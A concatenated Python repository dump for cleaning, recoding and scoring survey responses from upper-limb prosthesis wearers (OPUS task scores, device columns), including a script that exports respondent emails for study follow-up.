"SecondaryDevice_UsuallyPerfomrHomeImprovementDevice",
"SecondaryDevice_DoYouPerfomOtherLesiureActivitiesDevice",
"SecondaryDeviceIsDependeable",
"IWasTrainedWellOnMySecondary",
"IAmComfortableWearingMySecondaryInPublic",
"ICanTolerateTheWeightOfMySecondary",
"ICanEasilyPerformRoutineCareOfMySecondary",
"ICanPerformMostTasksWithMySecondary",
"SecondaryDevice_TasksIWouldLikeToPerformButCannotAre",
"OverallPreferenceForPrimaryComparedToSecondary",
"IAmABilateralWearer",
"Bilateral_LevelOfLimbLoss",
"Bilateral_TypeOfElbow",
"Bilateral_BrandOfElectricElbow",
"Bilateral_BrandOfElectricElbowSpecify",
"Bilateral_BrandOfBodyPoweredElbow"]
namesSht2 = ["RespondentID",
"CollectorID",
"StartDate",
"EndDate",
"IPAdress",
"EmailAddress_EMPTY",
"<NAME>",
"LastName",
"EmptyColumn",
"Bilateral_BrandOfBodyPoweredElbowSpecify",
"Bilateral_NumberOfDaysOfProsthesisIsWorn",
"Bilateral_NumberOfHoursProsthesisIsWorn",
"Bilateral_DoYouHaveAHosmerHook",
"Bilateral_DoYouHaveATRSHook",
"Bilateral_DoNotKnowTypeOfBodyPoweredTerminalDevice",
"Bilateral_NoBodyPoweredTerminalDevice",
"Bilateral_OtherBodyPoweredTerminalDevice",
"Bilateral_OtherBodyPoweredTerminalDevice2",
"Bilateral_DoYouHaveAMotionControlETD",
"Bilateral_DoYouHaveAOttoBockAxon",
"Bilateral_DoYouHaveAOttoBockGreifer",
"Bilateral_DoNotKnowTypeOfElectricTerminalDevice",
"Bilateral_NoElectricTerminalDevice",
"Bilateral_OtherElectricTerminalDevice",
"Bilateral_OtherElectricTerminalDevice2",
"Bilateral_DoNotKnowHandPassiveFunction",
"Bilateral_NoHandPassiveFunction",
"Bilateral_BrandHandPassiveFunction",
"Bilateral_BrandHandPassiveFunction2",
"Bilateral_DoNotKnowHandBodyPowered",
"Bilateral_NoHandBodyPowered",
"Bilateral_BrandHandBodyPowered",
"Bilateral_BrandHandBodyPowered2",
"Bilateral_DoYouHaveAMotionControlSingleGrip",
"Bilateral_DoYouHaveAOttoBockSingleGrip",
"Bilateral_DoNotKnowBrandSingleGrip",
"Bilateral_DoNotHaveSingleGrip",
"Bilateral_BrandSingleGrip",
"Bilateral_BrandSingleGrip2",
"Bilateral_DoYouHaveAMultiArticulatingBebionicHand",
"Bilateral_DoYouHaveAMultiAriculatingILimbHand",
"Bilateral_DoYouHaveAMultiArticulatingMichelangeloHand",
"Bilateral_DoNotKnowMultiArticulatingHand",
"Bilateral_NoMultiArticulatingHand",
"Bilateral_BrandMultiArticulatingHand",
"Bilateral_BrandMultiArticulatingHand2",
"Bilateral_PrimaryTerminalDevice",
"Bilateral_PrimaryTerminalDeviceSpecify",
"Bilateral_NumberOfHoursWearingTerminalDevice",
"Bilateral_DateBeganWearingPrimaryDevice",
"Bilateral_SecondaryDevice",
"Bilateral_SecondaryDeviceSpecify",
"Bilateral_NumberOfHoursWearingSecondaryDevice",
"Bilateral_DateBeganWearingSecondaryDevice",
"Bilateral_DoYouHaveAFlexionWristPrimary",
"Bilateral_DoYouHaveAMultiFlexWristPrimary",
"Bilateral_DoYouHaveAMyoWristRotatorPrimary",
"Bilateral_NoWristPrimary",
"Bilateral_DoYouHaveAFlexionWristSecondary",
"Bilateral_DoYouHaveAMultiFlexWristSecondary",
"Bilateral_DoYouHaveAMyoWristRotatorSecondary",
"Bilateral_NoWristSecondary",
"Bilateral_TieShoesWithDevice",
"Bilateral_UsuallyTieShoesWithDevice",
"Bilateral_AttachZipper",
"Bilateral_UsuallyAttachZipperDevice",
"Bilateral_ButtonShirt",
"Bilateral_UsuallyButtonShirtDevice",
"Bilateral_PutOnSocks",
"Bilateral_UsuallyPutOnSocksDevice",
"Bilateral_BrushCombHair",
"Bilateral_UsuallyBrushHairDevice",
"Bilateral_PlaceToothpasteToothbrush",
"Bilateral_UsuallyPlaceToothpasteDevice",
"Bilateral_BrushTeeth",
"Bilateral_UsuallyBrushTeethDevice",
"Bilateral_Shave",
"Bilateral_UsuallyShave",
"Bilateral_DoYouUseDeviceForAnyOtherDressingSelfCare",
"Bilateral_UseMobilPhone",
"Bilateral_UsuallyUseMobilePhoneDevice",
"Bilateral_CarryLargeBox",
"Bilateral_UsuallyCarryLargeBoxDevice",
"Bilateral_OpenEnvelope",
"Bilateral_UsuallyOpenEnvelopeDevice",
"Bilateral_UseScissors",
"Bilateral_UseScissorsDevice",
"Bilateral_FoldBathTowel",
"Bilateral_UsuallyFoldBathTowelDevice",
"Bilateral_UseHammerToDriveNail",
"Bilateral_UsuallyUseHammerDevice",
"Bilateral_DoYouUseDeviceForOtherHomePersonalTasks",
"Bilateral_StirFoodInBowl",
"Bilateral_UsuallyStirWithDevice",
"Bilateral_PourDrinkFromBottle",
"Bilateral_UsuallyPourDrinkDevice",
"Bilateral_UseForkAndSpoon",
"Bilateral_UsuallyUseForkDevice",
"Bilateral_DrinkFromPaperPlastic",
"Bilateral_UsuallyDrinkWithDevice",
"Bilateral_CutMeat",
"Bilateral_UsuallyCutMeatWithDevice",
"Bilateral_DoYouUseDeviceForCuttingMeat",
"Bilateral_UseKeyboard",
"Bilateral_UsuallyUseKeyboardDevice",
"Bilateral_GrabObjectsWetEnvironment",
"Bilateral_UsuallyGrabObjectsWetEnviDevice",
"Bilateral_GrabObjectsDirtyEnvironment",
"Bilateral_UsuallyGrabObjectsDirtEnviDevice",
"Bilateral_UseFingerTips",
"Bilateral_UsuallyUseFingerTipsDevice",
"Bilateral_DoYouUseDeviceForOtherWorkTasks",
"Bilateral_CanYouParticipateArtsCrafts",
"Bilateral_SpecifyWhichArtsCraftsParticipate",
"Bilateral_UsuallyPerformArtsCraftsDevice",
"Bilateral_CanYouParticipateInHobbies",
"Bilateral_SpecifiyWhichHobbies",
"Bilateral_UsuallyParticipateInHobbiesUsingDevice",
"Bilateral_GoRidingMotorcycleATVetc",
"Bilateral_SpecfiyTypeRiding",
"Bilateral_UsuallyUseDeviceRiding",
"Bilateral_ParticipateOutdoorActivities",
"Bilateral_SpecifyOutdoorActivities",
"Bilateral_UsuallyUseDeviceOutdootActivity",
"Bilateral_PerformHomeImprovement",
"Bilateral_SpecifyTypeOfHomeImprovement",
"Bilateral_UsuallyPerfomrHomeImprovementDevice",
"Bilateral_DoYouPerfomOtherLesiureActivitiesDevice",
"Bilateral_IsDeviceDependable",
"Bilateral_TrainedWellOnDevice",
"Bilateral_ComfortableWearingDeviceInPublice",
"Bilateral_EasilyTolerateWeightOfDevice",
"Bilateral_EasilyPerformRoutineCareOfDevice",
"Bilateral_ICanEasilyPerformNecessaryTasksWithDevice",
"Bilateral_IWouldLikeToPerformButCannotTheFollowing",
"Bilateral_IUseASecondaryDevice",
"Bilateral_SecondaryDevice_TieShoesWithDevice",
"Bilateral_SecondaryDevice_UsuallyTieShoesWithDevice",
"Bilateral_SecondaryDevice_AttachZipper",
"Bilateral_SecondaryDevice_UsuallyAttachZipperDevice",
"Bilateral_SecondaryDevice_ButtonShirt",
"Bilateral_SecondaryDevice_UsuallyButtonShirtDevice",
"Bilateral_SecondaryDevice_PutOnSocks",
"Bilateral_SecondaryDevice_UsuallyPutOnSocksDevice",
"Bilateral_SecondaryDevice_BrushCombHair",
"Bilateral_SecondaryDevice_UsuallyBrushHairDevice",
"Bilateral_SecondaryDevice_PlaceToothpasteToothbrush",
"Bilateral_SecondaryDevice_UsuallyPlaceToothpasteDevice",
"Bilateral_SecondaryDevice_BrushTeeth",
"Bilateral_SecondaryDevice_UsuallyBrushTeethDevice",
"Bilateral_SecondaryDevice_Shave",
"Bilateral_SecondaryDevice_UsuallyShave",
"Bilateral_SecondaryDevice_DoYouUseDeviceForAnyOtherDressingSelfCare",
"Bilateral_SecondaryDevice_UseMobilPhone",
"Bilateral_SecondaryDevice_UsuallyUseMobilePhoneDevice",
"Bilateral_SecondaryDevice_CarryLargeBox",
"Bilateral_SecondaryDevice_UsuallyCarryLargeBoxDevice",
"Bilateral_SecondaryDevice_OpenEnvelope",
"Bilateral_SecondaryDevice_UsuallyOpenEnvelopeDevice",
"Bilateral_SecondaryDevice_UseScissors",
"Bilateral_SecondaryDevice_UseScissorsDevice",
"Bilateral_SecondaryDevice_FoldBathTowel",
"Bilateral_SecondaryDevice_UsuallyFoldBathTowelDevice",
"Bilateral_SecondaryDevice_UseHammerToDriveNail",
"Bilateral_SecondaryDevice_UsuallyUseHammerDevice",
"Bilateral_SecondaryDevice_DoYouUseDeviceForOtherHomePersonalTasks",
"Bilateral_SecondaryDevice_StirFoodInBowl",
"Bilateral_SecondaryDevice_UsuallyStirWithDevice",
"Bilateral_SecondaryDevice_PourDrinkFromBottle",
"Bilateral_SecondaryDevice_UsuallyPourDrinkDevice",
"Bilateral_SecondaryDevice_UseForkAndSpoon",
"Bilateral_SecondaryDevice_UsuallyUseForkDevice",
"Bilateral_SecondaryDevice_DrinkFromPaperPlastic",
"Bilateral_SecondaryDevice_UsuallyDrinkWithDevice",
"Bilateral_SecondaryDevice_CutMeat",
"Bilateral_SecondaryDevice_UsuallyCutMeatWithDevice",
"Bilateral_SecondaryDevice_DoYouUseDeviceForCuttingMeat",
"Bilateral_SecondaryDevice_UseKeyboard",
"Bilateral_SecondaryDevice_UsuallyUseKeyboardDevice",
"Bilateral_SecondaryDevice_GrabObjectsWetEnvironment",
"Bilateral_SecondaryDevice_UsuallyGrabObjectsWetEnviDevice",
"Bilateral_SecondaryDevice_GrabObjectsDirtyEnvironment",
"Bilateral_SecondaryDevice_UsuallyGrabObjectsDirtEnviDevice",
"Bilateral_SecondaryDevice_UseFingerTips",
"Bilateral_SecondaryDevice_UsuallyUseFingerTipsDevice",
"Bilateral_SecondaryDevice_DoYouUseDeviceForOtherWorkTasks",
"Bilateral_SecondaryDevice_CanYouParticipateArtsCrafts",
"Bilateral_SecondaryDevice_SpecifyWhichArtsCraftsParticipate",
"Bilateral_SecondaryDevice_UsuallyPerformArtsCraftsDevice",
"Bilateral_SecondaryDevice_CanYouParticipateInHobbies",
"Bilateral_SecondaryDevice_SpecifiyWhichHobbies",
"Bilateral_SecondaryDevice_UsuallyParticipateInHobbiesUsingDevice",
"Bilateral_SecondaryDevice_GoRidingMotorcycleATVetc",
"Bilateral_SecondaryDevice_SpecfiyTypeRiding",
"Bilateral_SecondaryDevice_UsuallyUseDeviceRiding",
"Bilateral_SecondaryDevice_ParticipateOutdoorActivities",
"Bilateral_SecondaryDevice_SpecifyOutdoorActivities",
"Bilateral_SecondaryDevice_UsuallyUseDeviceOutdootActivity",
"Bilateral_SecondaryDevice_PerformHomeImprovement",
"Bilateral_SecondaryDevice_SpecifyTypeOfHomeImprovement",
"Bilateral_SecondaryDevice_UsuallyPerfomrHomeImprovementDevice",
"Bilateral_SecondaryDevice_DoYouPerfomOtherLesiureActivitiesDevice",
"Bilateral_SecondaryDeviceIsDependeable",
"Bilateral_IWasTrainedWellOnMySecondary",
"Bilateral_IAmComfortableWearingMySecondaryInPublic",
"Bilateral_ICanTolerateTheWeightOfMySecondary",
"Bilateral_ICanEasilyPerformRoutineCareOfMySecondary",
"Bilateral_ICanPerformMostTasksWithMySecondary",
"Bilateral_SecondaryDevice_TasksIWouldLikeToPerformButCannotAre",
"Bilateral_OverallPreferenceForPrimaryComparedToSecondary",
"EmailAddress",
"IWouldLikeToReceiveCopyOfStudy",
"ContactAgainForFollowUp"]
<file_sep>/driverCleanData.py
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 11 21:00:40 2017
@author: justinlboyer
"""
# This driver runs the necessary scripts to clean the data returns two df's and then optionally writes two csvs of the cleaned data
def cleanData(writecsv=False):
"Function cleans and returns two data sets sht1 contains NaN, shtNoNan does not contain NaN. The function also writes a two csvs if writecsv=True"
# load the packages I typically use
#import pandas as pd
#import numpy as np
#from scipy import stats
# load the data
from loadData import shtNoNan, sht1, sht2
# fix binary and blanks
from fixBlankValues import fixValuesAnyWord, fixValuesYesNo
from vectorSubsets import yesNo
# fix binary for TD
from vectorSubsets import TDs
for i in TDs:
fixValuesAnyWord(sht1,i)
fixValuesAnyWord(shtNoNan,i)
# loop over all instances of yesNo
for i in yesNo:
fixValuesYesNo(sht1,i)
fixValuesYesNo(shtNoNan,i)
# fix funky white spaces
from removeWhitespace import fixFunky
fixFunky(sht1,'PrimaryTerminalDevice')
fixFunky(shtNoNan,'PrimaryTerminalDevice')
# fix categorical values -- Not using because we don't have enough data, maybe once data >500 could include
#from fixCategoricalValues import sht1
# fix categorical but remove NaN
from fixCategoricalValuesNoNan import fixValuesCategoricalNoNaN
from fixCategoricalValues import fixValuesCategorical
from vectorSubsets import opus, importanceOpus, importanceFull, taskFull
# code opus values
for i in opus:
fixValuesCategoricalNoNaN(shtNoNan,i)
fixValuesCategorical(sht1,i)
# code importance for opus
for i in importanceOpus:
fixValuesCategoricalNoNaN(shtNoNan,i)
fixValuesCategorical(sht1,i)
# code task values
for i in taskFull:
fixValuesCategoricalNoNaN(shtNoNan,i)
fixValuesCategorical(sht1,i)
# code importance values
for i in importanceFull:
fixValuesCategoricalNoNaN(shtNoNan,i)
fixValuesCategorical(sht1,i)
# added opusScore and weighted opus score
from opusScore import opusScored, weightedOpusScore
opusScored(sht1)
opusScored(shtNoNan)
weightedOpusScore(sht1)
weightedOpusScore(shtNoNan)
# add fullScore and weighted full score
from totalScore import taskScored, weightedTotalScore
taskScored(shtNoNan)
taskScored(sht1)
weightedTotalScore(shtNoNan)
weightedTotalScore(sht1)
# add score conditioned on whether or not respondendents use their prosthesis
from doYouUseProsOpus import useProsthesisScore
from vectorSubsets import taskFull
# add opus conditioned on use of prosthesis
useProsthesisScore(shtNoNan, 0, 20, 'doYouUseProsthesisOpus')
useProsthesisScore(sht1, 0, 20, 'doYouUseProsthesisOpus')
# add full task conditioned onuse of prosthesis
useProsthesisScore(shtNoNan, 0, 28, 'doYouUseProsthesisFull')
useProsthesisScore(sht1, 0, 28, 'doYouUseProsthesisFull')
# add taskFull - Opus conditioned on use of prosthesis
task = taskFull[20:28]
useProsthesisScore(shtNoNan, 20, 28, 'doYouUseProsthesisTask')
useProsthesisScore(sht1, 20, 28, 'doYouUseProsthesisTask')
# add sum of tasks completed
from sumTasks import sumTasks
# add sum of opus tasks completed
sumTasks(shtNoNan, 'numberTasksUseProsthesisOpus', 0, 20)
sumTasks(sht1, 'numberTasksUseProsthesisOpus', 0, 20)
# add sum of all tasks completed
sumTasks(shtNoNan, 'numberTasksUseProsthesisFull', 0, 28)
sumTasks(sht1, 'numberTasksUseProsthesisFull', 0, 28)
# add sum of AllTasks-OpusTasks completed
sumTasks(shtNoNan, 'numberTasksUseProsthesisTask', 20, 28)
sumTasks(sht1, 'numberTasksUseProsthesisTask', 20, 28)
# add score which is normalized by dividing their score by the number of tasks they actually complete
from normalizeScore import normalizeScore
# add normalizedOpus
normalizeScore(shtNoNan, 'doYouUseProsthesisOpus', 'numberTasksUseProsthesisOpus', 'normalizedOpus')
normalizeScore(sht1, 'doYouUseProsthesisOpus', 'numberTasksUseProsthesisOpus', 'normalizedOpus')
# add normalizedFull
normalizeScore(shtNoNan, 'doYouUseProsthesisFull', 'numberTasksUseProsthesisFull', 'normalizedFull')
normalizeScore(sht1, 'doYouUseProsthesisFull', 'numberTasksUseProsthesisFull', 'normalizedFull')
# add normalize task
normalizeScore(shtNoNan, 'doYouUseProsthesisTask', 'numberTasksUseProsthesisTask', 'normalizedTask')
normalizeScore(sht1, 'doYouUseProsthesisTask', 'numberTasksUseProsthesisTask', 'normalizedTask')
# reset indices
shtNoNan = shtNoNan.reset_index(drop=True)
sht1 = sht1.reset_index(drop=True)
sht2 = sht2.reset_index(drop=True)
# write to csvs if writecsv=True
if writecsv==True:
sht1.to_csv("sht1_CLEAN.csv")
shtNoNan.to_csv("shtNoNan_CLEAN.csv")
# returns cleaned data sets
return [shtNoNan, sht1]
<file_sep>/opusScore.py
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 11 20:43:15 2017
@author: justinlboyer
"""
#from fixCategoricalValues import sht1
import numpy as np
from vectorSubsets import importanceOpus, opus
#from fixCategoricalValuesNoNan import fixValuesCategoricalNoNaN
# convert values to numerical
# fix opus values
# this script computes the OPUS Score and tacks it onto sht1
def opusScored(df):
#df["opusScore"] = df.TieShoesWithDevice + df.AttachZipper + df.ButtonShirt + df.PutOnSocks + df.BrushCombHair + df.PlaceToothpasteToothbrush + df.BrushTeeth + df.Shave + df.UseMobilPhone + df.CarryLargeBox + df.OpenEnvelope + df.UseScissors + df.FoldBathTowel + df.UseHammerToDriveNail + df.StirFoodInBowl + df.PourDrinkFromBottle + df.UseForkAndSpoon + df.DrinkFromPaperPlastic + df.CutMeat + df.UseKeyboard
df["opusScore"] = df[opus].sum(axis=1)
return
def weightedOpusScore(df):
dt = np.dot(df[opus],df[importanceOpus[0:20]].transpose())
df["weightedOpusScore"] = np.diag(dt)
return
# old code used if original names used
#sht1["opusScore"] = sht1.TieShoesWithDevice + sht1.AttachZipper + sht1.ButtonShirt + sht1.PutOnSocks + sht1.BrushCombHair + sht1.PlaceToothpasteToothbrush + sht1.BrushTeeth + sht1.Shave + sht1.UseMobilPhone + sht1.CarryLargeBox + sht1.OpenEnvelope + sht1.UseScissors + sht1.FoldBathTowel + sht1.UseHammerToDriveNail + sht1.StirFoodInBowl + sht1.PourDrinkFromBottle + sht1.UseForkAndSpoon + sht1.DrinkFromPaperPlastic + sht1.CutMeat + sht1.UseKeyboard
#shtNoNan["opusScoreNoNan"] = shtNoNan.TieShoesWithDevice.dropna() + shtNoNan.AttachZipper.dropna() + shtNoNan.ButtonShirt.dropna() + shtNoNan.PutOnSocks.dropna() + shtNoNan.BrushCombHair.dropna() + shtNoNan.PlaceToothpasteToothbrush.dropna() + shtNoNan.BrushTeeth.dropna() + shtNoNan.Shave.dropna() + shtNoNan.UseMobilPhone.dropna() + shtNoNan.CarryLargeBox.dropna() + shtNoNan.OpenEnvelope.dropna() + shtNoNan.UseScissors.dropna() + shtNoNan.FoldBathTowel.dropna() + shtNoNan.UseHammerToDriveNail.dropna() + shtNoNan.StirFoodInBowl.dropna() + shtNoNan.PourDrinkFromBottle.dropna() + shtNoNan.UseForkAndSpoon.dropna() + shtNoNan.DrinkFromPaperPlastic.dropna() + shtNoNan.CutMeat.dropna() + shtNoNan.UseKeyboard.dropna()
<file_sep>/removeWhitespace.py
# -*- coding: utf-8 -*-
"""
Created on Fri Jan 27 09:06:21 2017
@author: justinlboyer
"""
# Fix funky values
def fixFunky(df,variable):
df[variable] = df[variable].replace(u'\xa0', u' ')
df[variable] = df[variable].replace('(Otto Bock)\sG.*', 'Otto BockGreifer', regex=True) # fix funky Otto Bock Greifer
# string = string.replace(u'\xa0', u' ')
return<file_sep>/normalizeOp.py
# -*- coding: utf-8 -*-
"""
Created on Sat Jan 28 11:12:07 2017
@author: justinlboyer
"""
# this script normalizes opus -- It takes the opus score on the tasks that respondents use their prosthesis for and divides it by the total number of tasks the respondent uses the prosthesis for
#
# Inputs
#
# df = data frame
# variable = column name of score to be nomalized
# columnSumTasks = the column name of the summed tasks
# newColumnNameKey = The new name for the column that will be created
def normalizeOp(df, variable, columnSumTasks, newColumnNameKey):
df[newColumnNameKey] = df[variable]/df[columnSumTasks]
return<file_sep>/fixCategoricalValuesNoNan.py
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 11 11:45:56 2017
@author: justinlboyer
"""
import numpy as np
#from loadData import shtNoNan
#from vectorSubsets import opus, importance, isVector
# this script replaces all categorical values with numerical ones
#
# ~~~~ Coding is ~~~~~~
# Cannot Perform = 0
# Choose Not To Perform = 1
# Very Difficult = 2
# Slightly Difficult = 3
# Easy = 4
# anythingelse = nan
# ~~~~~~~~~~~`
# Not Important = 0
# Moderately Important = 1
# Very Important = 2
# ~~~~~~~~~~~
# Strongly Disagree = 0
# Disagree = 1
# Agree = 2
# Strongly Agree = 3
def fixValuesCategoricalNoNaN(df,variable):
df[variable] = df[variable].replace("Cannot Perform", 0)
df[variable] = df[variable].replace("Choose Not to Perform", 1)
df[variable] = df[variable].replace("Very Difficult", 2)
df[variable] = df[variable].replace("Slightly Difficult", 3)
df[variable] = df[variable].replace("Easy", 4)
df[variable] = df[variable].replace("Not Important", 0)
df[variable] = df[variable].replace("Moderately Important", 1)
df[variable] = df[variable].replace("Very Important", 2)
df[variable] = df[variable].replace("Strongly Agree", 0)
df[variable] = df[variable].replace("Disagree", 1)
df[variable] = df[variable].replace("Agree", 2)
df[variable] = df[variable].replace("Strongly Agree", 3)
df[variable] = df[variable].replace("^[a-zA-Z]\s*", 0, regex=True)
df[variable] = df[variable].replace("I'm bald - I don't have hair", 0)
df[variable] = df[variable].replace("^I.*", 0, regex=True)
return
#def fixValuesCategoricalNoNaN(df,variable):
# df[variable] = df[variable].replace("Cannot Perform", 0)
# df[variable] = df[variable].replace("Choose Not to Perform", 1)
# df[variable] = df[variable].replace("Very Difficult", 2)
# df[variable] = df[variable].replace("Slightly Difficult", 3)
# df[variable] = df[variable].replace("Easy", 4)
# df[variable] = df[variable].replace("Not Important", 0)
# df[variable] = df[variable].replace("Moderately Important", 1)
# df[variable] = df[variable].replace("Very Important", 2)
# df[variable] = df[variable].replace("Strongly Agree", 0)
# df[variable] = df[variable].replace("Disagree", 1)
# df[variable] = df[variable].replace("Agree", 2)
# df[variable] = df[variable].replace("Strongly Agree", 3)
# df[variable] = df[variable].replace("^[a-zA-Z]\s*", 0, regex=True)
# df[variable] = df[variable].replace("I'm bald - I don't have hair", 0)
# return
# fix all the agree/disagree/etc
#for i in isVector:
# fixValuesCategoricalNoNaN(shtNoNan,i)<file_sep>/getEmails.py
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 14 07:31:53 2017
@author: samij
"""
# this script retrieves a list of email addresses of respondendts who fit the stated criteria
import pandas as pd
# import data
from driverCleanData import cleanData
[sht1,_] = cleanData()
# import second sheet to get emails
from loadData import sht2
# join sht1 to sht2
fullDf = pd.merge(sht1, sht2, on='RespondentID')
# get similarity sum
foundSum = pd.read_csv('./foundSum.csv', names=["Index","Score"])
# remove bot data based on analysis in jupyter notebook (remove sums of 228, 230, 235)
nonBot = foundSum[(foundSum['Score'] != 228) & (foundSum['Score'] != 230) & (foundSum['Score'] != 235)]
fullDf = fullDf.loc[nonBot.index]
# remove people who spent less than 20 min
fullDf['timeDiff'] = fullDf.EndDate_x - fullDf.StartDate_x
fullDf['timeDiff'] = fullDf['timeDiff'].astype('timedelta64[m]')
legitTimeDiff = fullDf.timeDiff[fullDf['timeDiff'] >= 20 ]
fullDf = fullDf.loc[legitTimeDiff.index]
print("The minimum time taken on the survey of this set is {0}".format(fullDf.timeDiff.min()))
# write csv of emails if time Diff is greater than or equal to 15 min
if fullDf['timeDiff'].min()>=15:
fullDf.EmailAddress_y.to_csv('EmailList_NonBot_Spent15minOrMore.csv')
# get emails of people who have a secondary device
emailsSecD = fullDf.EmailAddress_y[fullDf['SecondaryDevice'] != 'None']
emailsSecD.to_csv('EmailList_PrimaryAndSecondary.csv')
<file_sep>/pivotOpus.py
# -*- coding: utf-8 -*-
"""
Created on Fri Jan 13 04:03:39 2017
@author: justinlboyer
"""
from loadData import sht1NoDup
from vectorSubsets import opus, degreeOfPerformance
# this script creates new df that investigates correlation of values
# subset data
op = sht1NoDup[opus].copy()
# code any of the I... as Cannot Perform
def fixIDontNoNan(df,variable):
df[variable] = df[variable].replace("I{1}.*","Cannot Perform", regex=True)
return
for i in opus:
fixIDontNoNan(op,i)
# loop over all values to create new df
# initialize df
op = op.dropna()
op = op.transpose()
observations = pd.pivot_table(op, index=opus, aggfunc='count', fill_value=0)
<file_sep>/crosTabs.py
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 9 22:03:55 2017
@author: justinlboyer
"""
# creates preliminary crosstabs
MotionControl_Trained_PerfromNecess = pd.crosstab(sht1["TrainedWellOnDevice"],sht1["ICanEasilyPerformNecessaryTasksWithDevice"], margins=True)
MotionControl_Trained_PerfromNecess.columns = ["Disagree", "Agree", "StronglyAgree", "rowtotal"]
MotionControl_Trained_PerfromNecess.index = ["Strongly Agree", "Agree", "Disagree", "Strongly Disagree", "ColTotal"]<file_sep>/loadData.bak.py
# -*- coding: utf-8 -*-
"""
Created on Sun Jan 8 13:20:06 2017
@author: justinlboyer
"""
RespondentID
CollectorID
StartDate
EndDate
IP Address
Email Address
<NAME>
LastName
Custom Data
Your current age
Gender
What is your current work status?
What is your current work status? - Employed (please specify occupation)
Side of missing upper limb
Reason for missing limb
Did you lose your dominant side?
Level of limb loss <span style="color: #0000ff;"><em>(if your loss is bilateral, please answer for your </em>dominant<em> side)</em></span>
What type of elbow do you use?
What brand of electric elbow (motor-driven) do you use?
What brand of electric elbow (motor-driven) do you use? - Other (please specify)
What brand of body-powered (non-electric) elbow do you use?
What brand of body-powered (non-electric) elbow do you use? - Other (please specify)
How many days in a typical week, do you wear your arm prosthesis, on average?
On days you wear your arm prosthesis, estimate the number of hours you use your prosthesis, on average
Which Terminal Device(s) do you currently use? (<span style="color: #0000ff;">Please select <em><strong>ALL</strong></em></span>)<br /><br />Hook, non-electric (body-powered - cable and harness open or close) - Hosmer Hook
Which Terminal Device(s) do you currently use? (<span style="color: #0000ff;">Please select <em><strong>ALL</strong></em></span>)<br /><br />Hook, non-electric (body-powered - cable and harness open or close) - TRS Hook
Which Terminal Device(s) do you currently use? (<span style="color: #0000ff;">Please select <em><strong>ALL</strong></em></span>)<br /><br />Hook, non-electric (body-powered - cable and harness open or close) - Don't know
Which Terminal Device(s) do you currently use? (<span style="color: #0000ff;">Please select <em><strong>ALL</strong></em></span>)<br /><br />Hook, non-electric (body-powered - cable and harness open or close) - None
Which Terminal Device(s) do you currently use? (<span style="color: #0000ff;">Please select <em><strong>ALL</strong></em></span>)<br /><br />Hook, non-electric (body-powered - cable and harness open or close) - Other (please specify)
Which Terminal Device(s) do you currently use? (<span style="color: #0000ff;">Please select <em><strong>ALL</strong></em></span>)<br /><br />Hook, non-electric (body-powered - cable and harness open or close) - Other (please specify).1
Hook, electric - Motion Control (MC) ETD
Hook, electric - Otto Bock Axon Hook
Hook, electric - Otto Bock Greifer
Hook, electric - Don't know
Hook, electric - None
Hook, electric - Other (please specify)
Hook, electric - Other (please specify).1
Hand, passive function - Don't know
Hand, passive function - None
Hand, passive function - Yes (please specify brand)
Hand, passive function - Yes (please specify brand).1
Hand, non-electric (body-powered - cable and harness open or close) - Don't know
Hand, non-electric (body-powered - cable and harness open or close) - None
Hand, non-electric (body-powered - cable and harness open or close) - Yes (please specify brand)
Hand, non-electric (body-powered - cable and harness open or close) - Yes (please specify brand).1
Hand, electric (single grip - all fingers move together) - Motion Control (MC) Hand
Hand, electric (single grip - all fingers move together) - Otto Bock Hand
Hand, electric (single grip - all fingers move together) - Don't know
Hand, electric (single grip - all fingers move together) - None
Hand, electric (single grip - all fingers move together) - Other (please specify)
Hand, electric (single grip - all fingers move together) - Other (please specify).1
Hand, electric multi-articulating (each finger and thumb is motor-driven) - bebionic Hand
Hand, electric multi-articulating (each finger and thumb is motor-driven) - i-limb Hand
Hand, electric multi-articulating (each finger and thumb is motor-driven) - Michelangelo Hand
Hand, electric multi-articulating (each finger and thumb is motor-driven) - Don't know
Hand, electric multi-articulating (each finger and thumb is motor-driven) - None
Hand, electric multi-articulating (each finger and thumb is motor-driven) - Other (please specify)
Hand, electric multi-articulating (each finger and thumb is motor-driven) - Other (please specify).1
Which of these devices is your <em>Primary</em> Terminal Device?
Which of these devices is your <em>Primary</em> Terminal Device? - Other (please specify)
How many hours a day do you wear your <em>Primary</em> Terminal Device?
List the <em>approximate</em> date you began using your <em>Primary</em> Terminal Device - (MM/YYYY) - Open-Ended Response
Which is your <em>Secondary</em> Terminal Device? <span style="color: #0000ff;">Secondary means the one you use less.</span> <span style="color: #ff0000;">If you only use a <em>Primary</em> TD, please select "None".</span>
Which is your <em>Secondary</em> Terminal Device? <span style="color: #0000ff;">Secondary means the one you use less.</span> <span style="color: #ff0000;">If you only use a <em>Primary</em> TD, please select "None".</span> - Other (please specify)
How many hours a day do you wear your <em>Secondary</em> Terminal Device?
List the <em>approximate</em> date you began using your <em>Secondary</em> Terminal Device - (MM/YYYY) - Open-Ended Response
Do you wear any of these components with your {{ Q19 }}? (<span style="color: #0000ff;">check all that apply</span>) - Flexion Wrist
Do you wear any of these components with your {{ Q19 }}? (<span style="color: #0000ff;">check all that apply</span>) - Multi-Flex Wrist
Do you wear any of these components with your {{ Q19 }}? (<span style="color: #0000ff;">check all that apply</span>) - Myo Wrist Rotator
Do you wear any of these components with your {{ Q19 }}? (<span style="color: #0000ff;">check all that apply</span>) - None
Do you wear any of these components with your {{ Q22 }}? (<span style="color: #0000ff;">check all that apply</span>) - Flexion Wrist
Do you wear any of these components with your {{ Q22 }}? (<span style="color: #0000ff;">check all that apply</span>) - Multi-Flex Wrist
Do you wear any of these components with your {{ Q22 }}? (<span style="color: #0000ff;">check all that apply</span>) - Myo Wrist Rotator
Do you wear any of these components with your {{ Q22 }}? (<span style="color: #0000ff;">check all that apply</span>) - None
Tie Shoe Laces with your <em>Primary</em> Terminal Device [{{ Q19 }}]
Do you usually perform this activity utilizing your {{ Q19 }}?
Attach end of zipper and zip jacket
Do you usually perform this activity utilizing your {{ Q19 }}?.1
Button shirt with front buttons
Do you usually perform this activity utilizing your {{ Q19 }}?.2
Put on socks
Do you usually perform this activity utilizing your {{ Q19 }}?.3
Brush/comb hair
Do you usually perform this activity utilizing your {{ Q19 }}?.4
Put toothpaste on toothbrush
Do you usually perform this activity utilizing your {{ Q19 }}?.5
Brush teeth
